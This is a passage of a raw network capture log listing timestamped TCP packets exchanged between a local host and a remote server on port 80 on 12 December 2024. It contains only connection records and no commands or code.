                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.401719093 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.401774883 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.401813984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.401864052 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.402535915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.402641058 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.402650118 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.402720928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.403279066 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.403403044 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.403409958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.403500080 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.404145002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.404238939 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.404275894 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.404335022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.404886007 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.404942989 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.405011892 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.405061960 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.405658960 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.405708075 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.406100988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.406188965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.406452894 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.406507015 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.406599045 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.406677008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.407181978 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.407236099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.407324076 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.407501936 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.407970905 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.408025980 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.408138037 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.408195019 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.408734083 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.408819914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.408956051 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.409516096 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.409632921 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.409689903 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.410317898 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.410372019 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.410693884 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.410762072 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.411237955 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.411297083 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.465977907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.466053009 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.466119051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.466284990 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.466352940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.466516018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.466526031 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.466623068 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.466959953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.467026949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.467204094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.467297077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.467783928 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.467787981 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.467854977 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.502489090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.502598047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.502654076 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.502803087 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.502832890 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.502891064 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.502998114 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.503103971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.503118038 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.503171921 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.503782988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.503865004 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.503890038 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.503958941 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.504559040 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.504677057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.504741907 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.505448103 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.505681038 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.505738020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.506122112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.506201982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.506258965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.506901979 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.506990910 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.507044077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.507704973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.507850885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.508476973 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.508507013 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.508512020 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.508560896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.508641005 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.508760929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.509272099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.509335995 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.509480000 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.509565115 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.510433912 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.510502100 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.510653019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.510936022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.511338949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.511390924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.511456966 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.511533976 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.512064934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.512160063 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.512334108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.512401104 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.512835979 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.512885094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.512907028 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.512970924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.513691902 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.513748884 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.513760090 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.513825893 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.514482021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.514556885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.514564991 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.514630079 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.515172958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.515232086 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.515273094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.515345097 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.515965939 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.516060114 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.516083956 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.516115904 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.516671896 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.516736984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.516875029 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.517385006 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.517438889 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.517468929 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.519366026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.580399990 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.580499887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.580632925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.580739021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.580745935 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.580816984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.581530094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.581773996 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.581903934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.581949949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.581983089 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.582551003 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.582652092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.582779884 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.583336115 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.583395958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.583496094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.584146023 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.584209919 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.584255934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.584903002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.585009098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.585042000 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.585072994 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.585701942 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.585810900 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.585885048 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.586455107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.586530924 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.586585999 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.587275982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.587393045 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.587460995 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.588053942 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.588238955 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.588332891 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.588823080 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.588886023 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.588911057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.589605093 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.589660883 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.589723110 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.590176105 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.590343952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.590394020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.590466976 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.590585947 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.591185093 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.591285944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.591367960 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.592010021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.592230082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.592257023 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.592287064 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.592741966 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.592827082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.592891932 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.593511105 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.593617916 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.593657017 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.593724012 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.594297886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.594403982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.594433069 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.594469070 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.595156908 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.595289946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.595349073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.595349073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.595868111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.596014977 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.596065044 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.596678019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.596683025 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.596740961 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.597445011 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.597587109 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.597856998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.597958088 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.598205090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.598257065 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.598261118 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.598309994 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.599040031 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.599143028 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.599193096 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.599246025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.599800110 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.599858999 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.599881887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.599967957 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.600537062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.600653887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.600661039 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.600795031 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.601351976 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.601480961 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.601502895 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.601560116 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.602128983 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.602207899 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.602284908 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.602353096 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.602884054 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.602958918 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.658158064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.658382893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.658389091 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.658477068 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.658586025 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.659178972 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.659262896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.659328938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.659394979 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.659929991 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.660032034 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.660073042 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.660073996 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.694883108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.694947958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.694955111 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.694994926 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.695270061 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.695396900 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.695449114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.696036100 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.696120977 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.696141005 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.696190119 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.696856022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.696918011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.697055101 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.697268963 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.697609901 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.697658062 CET4981980192.168.2.1180.82.65.70
